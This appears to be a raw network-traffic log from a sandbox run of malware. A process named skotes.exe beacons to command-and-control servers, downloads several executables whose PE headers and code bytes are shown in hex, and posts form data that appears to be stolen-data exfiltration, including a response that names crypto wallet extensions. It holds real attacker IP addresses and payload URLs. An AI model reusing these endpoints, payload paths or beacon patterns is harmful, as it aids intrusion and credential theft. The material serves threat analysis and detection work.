Oct 31, 2024 23:38:22.302573919 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:22 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 31, 2024 23:38:22.393471003 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFHDHJKKJDHJJJJKEGH Host: 185.215.113.206 Content-Length: 6087 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 23:38:22.393517971 CET	6087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 33 31 33 39 Data Ascii: ------DBFHDHJKKJDHJJJJKEGHContent-Disposition: form-data; name="token"b0313938b13b1f325a3472a8898559833c8b12d6e8ab54bb5edcbbaeee41764f6074d4f0------DBFHDHJKKJDHJJJJKEGHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 31, 2024 23:38:23.184334993 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 23:38:23.471359968 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 31, 2024 23:38:23.751526117 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 31, 2024 23:38:23.751544952 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49897	185.215.113.43	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:23.486495018 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003022001&unit=246122658369
Oct 31, 2024 23:38:24.426671028 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49903	185.215.113.16	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:24.433588028 CET	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 23:38:25.355756044 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:25 GMT Content-Type: application/octet-stream Content-Length: 888832 Last-Modified: Sun, 27 Oct 2024 06:45:44 GMT Connection: keep-alive ETag: "671de198-d9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,l@.@XP.$.text .rdata@@.data+@.reloc>K.LD@B
Oct 31, 2024 23:38:25.355906010 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba c2 41 00 b1 d1 41 00 1a d2 41 00 00 00 00 Data Ascii: AAAUQEE
Oct 31, 2024 23:38:25.355921984 CET	1236	IN	Data Raw: fc 83 7d 0c 00 74 1a 8b 4d fc c6 01 00 8b 55 fc 83 c2 01 89 55 fc 8b 45 0c 83 e8 01 89 45 0c eb e0 8b 45 08 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 10 83 e8 01 89 45 10 78 11 8b 4d 08 ff 55 14 8b 4d 08 03 4d 0c 89 Data Ascii: }tMUUEEE]UEExMUMMM]UQSjh0hAj0rmEPtX}t,hEP>zS[hhAMQpqm[]UQEjj@h0hj
Oct 31, 2024 23:38:25.355945110 CET	1236	IN	Data Raw: 6a 00 8d 95 10 fc ff ff 52 ff 15 00 e1 41 00 83 c4 0c 8d 8d f8 fb ff ff e8 e6 95 01 00 8d 8d 04 fc ff ff e8 db 95 01 00 8d 4d 08 e8 13 00 00 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 89 4d fc 8b 4d fc 83 c1 7c e8 ae Data Ascii: jRAM]UQMM\|MHM<M0M]UQMEPMM0QM0U<RM<EHPMHMUBTATMUBXAXMUB\A\M
Oct 31, 2024 23:38:25.355968952 CET	1236	IN	Data Raw: ff ff e8 68 90 01 00 83 7d 30 00 0f 84 e6 00 00 00 8d 45 24 50 8d 8d 6c fd ff ff 51 68 2c 56 42 00 8d 95 78 fd ff ff 52 8d 85 cc fe ff ff 50 8d 8d 84 fd ff ff 51 68 84 55 42 00 8d 95 90 fd ff ff 52 8d 45 08 50 8d 8d 9c fd ff ff 51 68 dc 54 42 00 Data Ascii: h}0E$PlQh,VBxRPQhUBREPQhTBREPQi[TMP*lxti^SH=
Oct 31, 2024 23:38:25.355987072 CET	1236	IN	Data Raw: f6 ff ff 8b e5 5d c3 cc cc cc cc 55 8b ec 83 ec 18 c7 45 fc 00 00 00 00 eb 09 8b 45 fc 83 c0 01 89 45 fc 8b 4d fc 3b 8d a0 00 00 00 0f 83 90 00 00 00 81 ec 88 00 00 00 8b cc 8d 55 08 52 e8 98 f6 ff ff 8b 45 fc 6b c0 2c 8b 8d 90 00 00 00 8b 54 01 Data Ascii: ]UEEEM;UREk,T(REk,TREk,PuMk,DPMk,DPIXURM]UE
Oct 31, 2024 23:38:25.356005907 CET	848	IN	Data Raw: 42 00 68 70 1d 42 00 e8 7b 22 00 00 83 c4 0c a3 64 6c 6d 00 6a 0b 68 80 1d 42 00 68 8c 1d 42 00 e8 62 22 00 00 83 c4 0c a3 50 6c 6d 00 6a 05 68 98 1d 42 00 68 a0 1d 42 00 e8 49 22 00 00 83 c4 0c a3 f8 6c 6d 00 6a 14 68 a8 1d 42 00 68 c0 1d 42 00 Data Ascii: BhpB{"dlmjhBhBb"PlmjhBhBI"lmjhBhB0"nmjhBhB"<mmjhBhB!omjhBh(B!Homjh8BhHB!mmjhXBhdB!lmjhpBhB!p
Oct 31, 2024 23:38:25.356021881 CET	1236	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a 16 68 40 21 42 00 68 58 21 42 00 e8 0c 1f 00 00 83 c4 0c a3 b4 6f 6d 00 c7 05 c4 6c 6d 00 00 00 00 00 6a 07 68 70 21 42 00 68 78 21 42 00 e8 e9 1e 00 00 83 c4 0c a3 Data Ascii: Ujh@!BhX!Bomlmjhp!Bhx!B\|nmjh!Bh!B@nmjhBhBomomlmjhBhBomjhBhBqomjhBhBXmmom
Oct 31, 2024 23:38:25.356038094 CET	1236	IN	Data Raw: 42 00 e8 5c 1a 00 00 83 c4 0c a3 20 6e 6d 00 6a 09 68 b0 26 42 00 68 bc 26 42 00 e8 43 1a 00 00 83 c4 0c a3 68 6d 6d 00 6a 13 68 c8 26 42 00 68 dc 26 42 00 e8 2a 1a 00 00 83 c4 0c a3 68 6f 6d 00 6a 0a 68 f0 26 42 00 68 fc 26 42 00 e8 11 1a 00 00 Data Ascii: B\ nmjh&Bh&BChmmjh&Bh&B*homjh&Bh&Blmjh'Bh'Bmmjh0'Bh<'BmmjhH'BhT'Bnmjh`'Bht'Bjmjh'Bh'Bkmjh'Bh'B{Lmmjh
Oct 31, 2024 23:38:25.356055975 CET	424	IN	Data Raw: bc 6e 6d 00 6a 10 68 68 2d 42 00 68 7c 2d 42 00 e8 7a 15 00 00 83 c4 0c a3 78 6e 6d 00 6a 0d 68 90 2d 42 00 68 a0 2d 42 00 e8 61 15 00 00 83 c4 0c a3 18 6c 6d 00 6a 0d 68 b0 2d 42 00 68 c0 2d 42 00 e8 48 15 00 00 83 c4 0c a3 7c 6f 6d 00 6a 0b 68 Data Ascii: nmjhh-Bh\|-Bzxnmjh-Bh-Balmjh-Bh-BH\|omjh-Bh-B/kmjh-Bh-B@pmjh.Bh .Bkmjh8.BhL.Bmmjh`.Bht.B\lmjh.Bh.B8mmjh.Bh.B
Oct 31, 2024 23:38:25.361258030 CET	1236	IN	Data Raw: a3 a4 6f 6d 00 6a 08 68 e0 2f 42 00 68 ec 2f 42 00 e8 d1 13 00 00 83 c4 0c a3 bc 6b 6d 00 6a 07 68 f8 2f 42 00 68 00 30 42 00 e8 b8 13 00 00 83 c4 0c a3 5c 6f 6d 00 6a 08 68 08 30 42 00 68 14 30 42 00 e8 9f 13 00 00 83 c4 0c a3 40 6c 6d 00 6a 0e Data Ascii: omjh/Bh/Bkmjh/Bh0B\omjh0Bh0B@lmjh 0Bh00BDkmjh@0BhX0BmXmmjhp0Bh0BTomjh0Bh0B;omjh0Bh0B"kmjh0Bh0Bjmjh0Bh1B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49925	185.215.113.43	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:28.655478001 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003023001&unit=246122658369
Oct 31, 2024 23:38:29.571543932 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49936	185.215.113.16	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:29.579677105 CET	139	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Thu, 31 Oct 2024 22:34:32 GMT If-None-Match: "672405f8-2d5600"
Oct 31, 2024 23:38:30.480998039 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:30 GMT Last-Modified: Thu, 31 Oct 2024 22:34:32 GMT Connection: keep-alive ETag: "672405f8-2d5600"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49945	185.215.113.16	80	736	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:30.707461119 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 23:38:31.623058081 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:31 GMT Content-Type: application/octet-stream Content-Length: 2812416 Last-Modified: Thu, 31 Oct 2024 21:45:05 GMT Connection: keep-alive ETag: "6723fa61-2aea00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 68 e4 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +h+`Ui` @ @.rsrc`2@.idata 8@mumtztzr*:@ueaihgqr @+@.taggant@`+"*@
Oct 31, 2024 23:38:31.623085976 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:31.623102903 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:31.623126030 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:31.623142004 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:31.623156071 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:31.623171091 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:31.623186111 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:31.623200893 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:31.623223066 CET	636	IN	Data Raw: b1 b2 75 52 33 98 51 84 7a 8d 17 92 2c 6d 1d 84 ac 91 58 a0 13 b0 8f 56 57 94 5b 95 bc 16 58 5a 12 84 69 28 4c 40 6b 7f 63 51 50 b2 16 77 fc c9 5b 99 63 76 26 46 6e 42 18 49 5a 14 f3 9c 60 bd b1 42 55 66 97 48 4f d4 34 1c 96 7e 40 5e 58 2d 5c 7e Data Ascii: uR3Qz,mXVW[XZi(L@kcQPw[cv&FnBIZ`BUfHO4~@^X-\~{midU9s=ZHkPh~Xbfhu~_NOT-YKf>9#\HOr [>6k#\SrV>\O4XSdnW>X-VPOPvh(6uZ&UY;uDe0R=_I{tWSYjP
Oct 31, 2024 23:38:31.630124092 CET	1236	IN	Data Raw: b6 f8 d8 b0 1a 45 4b 57 7e ca 51 64 f2 45 48 54 62 b3 2f 4e 44 4d 53 f4 b3 e7 a7 e8 2d 40 16 95 1e 86 81 da 1f 45 cf df 1f 98 a9 e4 e0 45 65 54 af e0 92 b2 b4 45 71 a4 dc 45 75 70 c5 30 fa 84 1f 68 6f fd 66 70 6b 88 98 7b 8d 6d 56 cd 95 94 3c 88 Data Ascii: EKW~QdEHTb/NDMS-@EEeTEqEup0hofpk{mV<efpn;=Efqdhei^=}Yk`eE~%7,/ZZ$gp)o-.DmH 5N=~N\E_sN@`FDpZg4zyZwvsPeE
Oct 31, 2024 23:38:46.190273046 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 23:38:46.473409891 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:46 GMT Content-Type: application/octet-stream Content-Length: 1890816 Last-Modified: Thu, 31 Oct 2024 22:34:53 GMT Connection: keep-alive ETag: "6724060d-1cda00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 40 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf@K@pK@WkD,K8,K @.rsrcD@.idata @ *@goqfmtntp1@dqkmyhqi0K@.taggant0@K"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49960	185.215.113.43	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:33.063354969 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003024001&unit=246122658369
Oct 31, 2024 23:38:33.966859102 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49966	185.215.113.16	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:33.978223085 CET	139	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Thu, 31 Oct 2024 22:34:32 GMT If-None-Match: "672405f8-2d5600"
Oct 31, 2024 23:38:34.890238047 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:34 GMT Last-Modified: Thu, 31 Oct 2024 22:34:32 GMT Connection: keep-alive ETag: "672405f8-2d5600"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49986	185.215.113.43	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:37.412883043 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 32 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003025001&unit=246122658369
Oct 31, 2024 23:38:38.317842960 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50004	185.215.113.43	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:40.106803894 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 23:38:41.026720047 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50019	34.107.221.82	80	4320	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
